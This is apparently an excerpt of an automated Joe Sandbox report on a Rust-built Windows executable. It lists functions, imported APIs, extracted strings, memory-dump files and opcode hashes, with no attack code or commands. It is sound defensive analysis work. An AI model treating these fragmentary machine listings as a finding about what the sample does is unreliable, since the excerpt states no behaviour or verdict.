connect.WS2_32 ref: 00007FF681AD1E3E

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: connect
String ID:
API String ID: 1959786783-0
Opcode ID: 092c4db97bba9aa015c51d33132b0f61f98f404785a388df38ac2ccf5a0ff762
Instruction ID: e97b9c1e9325e6110383a1b839f7a93e90a8cfea253256c3ffc1021f8253d719
Opcode Fuzzy Hash: 092c4db97bba9aa015c51d33132b0f61f98f404785a388df38ac2ccf5a0ff762
Instruction Fuzzy Hash: 69D0C995F25982C2EB246B7398822691690BF99F80FD45839C94CC2750EE1CD9A5CB10

Non-executed Functions

Function 00007FF681B1F150 Relevance: 14.9, Strings: 11, Instructions: 1175COMMON

Download Yara Rule

Strings

assertion failed: buf.len() >= MAX_SIG_DIGITS, xrefs: 00007FF681B2045C, 00007FF681B21B23
assertion failed: d.mant > 0, xrefs: 00007FF681B203E4, 00007FF681B211A7, 00007FF681B21AAB, 00007FF681B22008
assertion failed: d.minus > 0, xrefs: 00007FF681B203FC, 00007FF681B211BF, 00007FF681B21AC3
assertion failed: d.mant.checked_sub(d.minus).is_some(), xrefs: 00007FF681B20444, 00007FF681B21207, 00007FF681B21B0B
assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0library\core\src\num\mod.rs, xrefs: 00007FF681B21273
assertion failed: d.mant.checked_add(d.plus).is_some(), xrefs: 00007FF681B2042C, 00007FF681B211EF, 00007FF681B21AF3
assertion failed: d.mant < (1 << 61), xrefs: 00007FF681B22020
assertion failed: !buf.is_empty(), xrefs: 00007FF681B22038
assertion failed: edelta >= 0library\core\src\num\diy_float.rs, xrefs: 00007FF681B21B53
assertion failed: d.mant + d.plus < (1 << 61), xrefs: 00007FF681B21B3B
assertion failed: d.plus > 0, xrefs: 00007FF681B20414, 00007FF681B211D7, 00007FF681B21ADB

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID: assertion failed: !buf.is_empty()$assertion failed: buf.len() >= MAX_SIG_DIGITS$assertion failed: d.mant + d.plus < (1 << 61)$assertion failed: d.mant < (1 << 61)$assertion failed: d.mant > 0$assertion failed: d.mant.checked_add(d.plus).is_some()$assertion failed: d.mant.checked_sub(d.minus).is_some()$assertion failed: d.minus > 0$assertion failed: d.plus > 0$assertion failed: edelta >= 0library\core\src\num\diy_float.rs$assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0library\core\src\num\mod.rs
API String ID: 0-3083710647
Opcode ID: 42733846c3aee1db35096ba16e75465ddb96c2c274e802eaff3c5d4d31cf5565
Instruction ID: d64b5c4e3a318fc6c54fe60cee994f0f8847d256afe411d635d387d26d92244a
Opcode Fuzzy Hash: 42733846c3aee1db35096ba16e75465ddb96c2c274e802eaff3c5d4d31cf5565
Instruction Fuzzy Hash: 9DA2E662B14696C6EB24CF61E8407F92361FF5A788F40A13ADE0E97B95DE3CE645C340

Function 00007FF681A49E10 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 192COMMON

Download Yara Rule

Strings

arenegyl, xrefs: 00007FF681A4A1AF
setybdet, xrefs: 00007FF681A4A1C9
uespemos, xrefs: 00007FF681A4A184
modnarod, xrefs: 00007FF681A4A191

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID: arenegyl$modnarod$setybdet$uespemos
API String ID: 0-66988881
Opcode ID: 2c0b013beb0fd7d543327eb4ada8040e1c3801386e80763b44734b3561271946
Instruction ID: 00164c7fcdf28a2c457f83c1b172804f6ef17355dedb3a050e34b5408fae915c
Opcode Fuzzy Hash: 2c0b013beb0fd7d543327eb4ada8040e1c3801386e80763b44734b3561271946
Instruction Fuzzy Hash: E2614922B14B9182FB609F51F9517A7BAA0FB84790F889039EE8C87755EF3DD542C700

Function 00007FF681AC6CB0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 98COMMON

Download Yara Rule

APIs

ProcessPrng.BCRYPTPRIMITIVES(?,?,?,?,?,00007FF681ACF289,?,?,?,?,00007FF681A3EC90), ref: 00007FF681AC6CE6

Strings

setybdet, xrefs: 00007FF681AC6D52
modnarod, xrefs: 00007FF681AC6D1C
uespemos, xrefs: 00007FF681AC6D0F
arenegyl, xrefs: 00007FF681AC6D29

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: PrngProcess
String ID: arenegyl$modnarod$setybdet$uespemos
API String ID: 2076587149-66988881
Opcode ID: 82bbadcdb3082b5c1339c0d66042d8b0008792614f947054f59ce212475c6768
Instruction ID: 83bf023340ea3f59e7a968022b5d7c39362dc9726385f6cb9c1505a695d7af10
Opcode Fuzzy Hash: 82bbadcdb3082b5c1339c0d66042d8b0008792614f947054f59ce212475c6768
Instruction Fuzzy Hash: D131D4E5B44B8043FF94D7E575763AA5162AB427D0E80E431CE5DA7B0ADE2DD2928240

Function 00007FF681B05740 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,00007FF681B0571F,?,?,?), ref: 00007FF681B05776
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,00007FF681B0571F,?,?,?), ref: 00007FF681B0590A

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF681B05928
overflow when subtracting durations, xrefs: 00007FF681B058F2

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ErrorFrequencyLastPerformanceQuery
String ID: called `Result::unwrap()` on an `Err` value$overflow when subtracting durations
API String ID: 3362413890-1633623230
Opcode ID: 55bdb40d6081a3d286fbd827301fd246d4804d6bf4c5e43a9ae9878e89148c5f
Instruction ID: 8af6b73d9d52f619d8c68a98054f72eeae5622800de4207da34a7c743b75c127
Opcode Fuzzy Hash: 55bdb40d6081a3d286fbd827301fd246d4804d6bf4c5e43a9ae9878e89148c5f
Instruction Fuzzy Hash: 5B510222F18796C6FB25CB65EA047B92361BF46394F54A139DD0F86E90DE7CAA85C300

Function 00007FF681B3019C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF681B301C8
GetCurrentThreadId.KERNEL32 ref: 00007FF681B301D6
GetCurrentProcessId.KERNEL32 ref: 00007FF681B301E2
QueryPerformanceCounter.KERNEL32 ref: 00007FF681B301F2

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 13078e911e9431b130c9374d8f0cf3857d09fe7c5e0d346119209c66b62258b8
Instruction ID: 5cb0b7fffb561ff2619dbaafce8129401b15669f5aa7f77a384d61281b5ef825
Opcode Fuzzy Hash: 13078e911e9431b130c9374d8f0cf3857d09fe7c5e0d346119209c66b62258b8
Instruction Fuzzy Hash: 1D112E26B14F01CAEB10DF60E8542B833A4FB1AB58F441E35DA6D86BA4DF7CD564C340

Function 00007FF681A09547 Relevance: 5.4, Strings: 4, Instructions: 425COMMON

Download Yara Rule

Strings

Out of bounds access, xrefs: 00007FF681A0A3AA
assertion failed: buf.len() <= u32::MAX as usize/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\std\src\sys\pal\windows\io.rs, xrefs: 00007FF681A0A36B
FieldSet corrupted (this is a bug)C:\Users\N1nhpro\.cargo\registry\src\index.crates.io-6f17d22bba15001f\hyper-0.14.30\src\proto\h2\mod.rs, xrefs: 00007FF681A0A3F9, 00007FF681A0A411, 00007FF681A0A429, 00007FF681A0A441
assertion failed: buf.len() <= u32::MAX as usize/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\std\src\sys\pal\windows\io.rs, xrefs: 00007FF681A0A392

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID: FieldSet corrupted (this is a bug)C:\Users\N1nhpro\.cargo\registry\src\index.crates.io-6f17d22bba15001f\hyper-0.14.30\src\proto\h2\mod.rs$Out of bounds access$assertion failed: buf.len() <= u32::MAX as usize/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\std\src\sys\pal\windows\io.rs$assertion failed: buf.len() <= u32::MAX as usize/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\std\src\sys\pal\windows\io.rs
API String ID: 0-1588666662
Opcode ID: e9d78be32cc7eda2bd09a7421f91c76a1ae59f3e727ac616f773489935cddabc
Instruction ID: 14afb37c9e198a276c6d94ebaaae01e3ba073198a44ab2d56d862e89bf5be27d
Opcode Fuzzy Hash: e9d78be32cc7eda2bd09a7421f91c76a1ae59f3e727ac616f773489935cddabc
Instruction Fuzzy Hash: B7125976A08B86C5EB60CB15E4403FA63A1FF89784F50913ACA8D97799DF7CE189C740

Function 00007FF681AB9ED0 Relevance: 5.1, Strings: 4, Instructions: 91COMMON

Download Yara Rule

Strings

uespemos, xrefs: 00007FF681AB9ED4
setybdet, xrefs: 00007FF681AB9EFB
modnarod, xrefs: 00007FF681AB9EE1
arenegyl, xrefs: 00007FF681AB9EEE

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID: arenegyl$modnarod$setybdet$uespemos
API String ID: 0-66988881
Opcode ID: 1097f1ba61980f14c2da65f99f1ddaa04dc5182311ef448588418a439f683979
Instruction ID: 6e983055ec44835300514d0b6d0c6fde83b3540cbf5670520d28c713fd217699
Opcode Fuzzy Hash: 1097f1ba61980f14c2da65f99f1ddaa04dc5182311ef448588418a439f683979
Instruction Fuzzy Hash: CE21F8E6B18B8442FE44DBE5787136B9262A7443C0F90E036EE4D97B1EDF3DD2514640

Function 00007FF6819F39B2 Relevance: 5.0, Strings: 3, Instructions: 1262COMMON

Download Yara Rule

Strings

tx only taken on error, xrefs: 00007FF6819F4E6A, 00007FF6819F502C
core thread panicked, xrefs: 00007FF6819F4633
reqwest::blocking::wait) park timeout , xrefs: 00007FF6819F3C9C, 00007FF6819F3EA4, 00007FF6819F3FC8, 00007FF6819F42A4, 00007FF6819F4433, 00007FF6819F4973, 00007FF6819F519C, 00007FF6819F5325

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID: core thread panicked$reqwest::blocking::wait) park timeout $tx only taken on error
API String ID: 0-3686153743
Opcode ID: 997d793f290e7197e7d60dda60d6dd10a045f970a0ffb9deccf70c7b9f33579d
Instruction ID: 387773e180da861fc17a2bdb1b59d99a6257d07a5be2e19d9e0edcf5c8fd0377
Opcode Fuzzy Hash: 997d793f290e7197e7d60dda60d6dd10a045f970a0ffb9deccf70c7b9f33579d
Instruction Fuzzy Hash: 70E23722A0CBC1D1EB719B14E4443EA73A4FF85748F40513AEA9D87A9ADF7CE595CB00

Function 00007FF681B4A500 Relevance: 4.1, Strings: 3, Instructions: 306COMMON

Download Yara Rule

Strings

Authenti, xrefs: 00007FF681B4A898
GenuineI, xrefs: 00007FF681B4A8EA
HygonGen, xrefs: 00007FF681B4A8B7

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID: Authenti$GenuineI$HygonGen
API String ID: 0-696657513
Opcode ID: d4129c89335f02c3b1ca7afe0e27c0ed78b31dd7d79e7de12228af0413078f7f
Instruction ID: e3246fd7dd3165cbca3f2a217f327616959728d1ca3c68c3ae5038fd8531718b
Opcode Fuzzy Hash: d4129c89335f02c3b1ca7afe0e27c0ed78b31dd7d79e7de12228af0413078f7f
Instruction Fuzzy Hash: 829179A3B2595142FB5C85A5AC32BBA4992B7987C8F08A03DEE5FD7BC4DD7CC911C200

Function 00007FF681AD2630 Relevance: 3.1, APIs: 2, Instructions: 69filenativeCOMMON

Download Yara Rule

APIs

NtCancelIoFileEx.NTDLL ref: 00007FF681AD267B
RtlNtStatusToDosError.NTDLL ref: 00007FF681AD26FC

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: CancelErrorFileStatus
String ID:
API String ID: 1267829034-0
Opcode ID: bc51406345192210f0b917d4c9f90d8bb12737276818cb1f70f383c97ce838bd
Instruction ID: 770c7a87cf330358dbe6e7eb15f1ceadb1ed7ccfe6cbcb55358fa34f66ecd1f5
Opcode Fuzzy Hash: bc51406345192210f0b917d4c9f90d8bb12737276818cb1f70f383c97ce838bd
Instruction Fuzzy Hash: 4C2189A2A08B9181EF248A15D9443BC6751FF55F98F18803BDE4D877A0CE6DD886C340

Function 00007FF681A5DDD0 Relevance: 1.7, APIs: 1, Instructions: 176windowCOMMON

Download Yara Rule

APIs

EncryptMessage.SECUR32 ref: 00007FF681A5DF4E

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: EncryptMessage
String ID:
API String ID: 801064719-0
Opcode ID: db0b5e3bd70b3b4baa61c39e2d5cc095c740b1ba4152a130685a0f7325fd4681
Instruction ID: 1136b0fdd5e5838c9c47542008654101bbcaa919806ca051b7223c2f1e9937fc
Opcode Fuzzy Hash: db0b5e3bd70b3b4baa61c39e2d5cc095c740b1ba4152a130685a0f7325fd4681
Instruction Fuzzy Hash: 0B618DB2A08681C6EB648B65E4443EAA761FF49794F44803AEF5E87755DF3CE185C700

Function 00007FF681B2ABD0 Relevance: 1.6, Strings: 1, Instructions: 334COMMON

Download Yara Rule

Strings

0x00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899, xrefs: 00007FF681B2AB91, 00007FF681B2AC41, 00007FF681B2AE30, 00007FF681B2B061

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID: 0x00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
API String ID: 0-485157861
Opcode ID: 8f1abdb22bf7e742cd5145fa8d228a3a574907437964a7d4750890e41e87ca7f
Instruction ID: dcc50d3d5f0e12e2e01146ff1aa349847ae1fadb2b1eeda0b04972ce5e8bc123
Opcode Fuzzy Hash: 8f1abdb22bf7e742cd5145fa8d228a3a574907437964a7d4750890e41e87ca7f
Instruction Fuzzy Hash: 7AC19C63A182A5C5E728CB28D1047F96761FF4A790F41A238DE9F87BD4DE3C9A08C341

Function 00007FF681B22570 Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

0123456789abcdefBorrowErrorBorrowMutErroralready borrowed: , xrefs: 00007FF681B22600, 00007FF681B2271F

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID: 0123456789abcdefBorrowErrorBorrowMutErroralready borrowed:
API String ID: 0-3562471951
Opcode ID: 3e41450b4eed5741c2b0d833e5844e959b53a1cab6aec41ccdfff53f2ec10ccb
Instruction ID: 1a117f936d91350bbfbc0fb5f766a917d76dc54aeabbaf3d1ced88c22dac0b4d
Opcode Fuzzy Hash: 3e41450b4eed5741c2b0d833e5844e959b53a1cab6aec41ccdfff53f2ec10ccb
Instruction Fuzzy Hash: 50914863F1D6D0DAE72187B49400BBC3EA0BF26B44F44A1B8DA9D97BC2CF698159D311

Function 00007FF681B42800 Relevance: 1.0, Instructions: 957COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0649588193ce8fb768ea4c6c697deb946026fce9ddf4da1eed61d71afe78e3cd
Instruction ID: aa9367e52af9f72a9689cb5b1edb228d2e0d590a856e6d3a1b77a6a33972d03f
Opcode Fuzzy Hash: 0649588193ce8fb768ea4c6c697deb946026fce9ddf4da1eed61d71afe78e3cd
Instruction Fuzzy Hash: 4492136360DBD5C2E7628B29A4003AA6B60FB46BD0F09926ADFDE43795EF3CC544D350

Function 00007FF6819ECDC8 Relevance: .7, Instructions: 653COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd7734f9c0adbec490e7aa9233c81ed304697e936f18ed4e179356c7d5f9ef3b
Instruction ID: 1ed5091cbaf2c9c2ec6457732f0d131e725cf7e1d4eaaf83dace57c61f4d5d78
Opcode Fuzzy Hash: dd7734f9c0adbec490e7aa9233c81ed304697e936f18ed4e179356c7d5f9ef3b
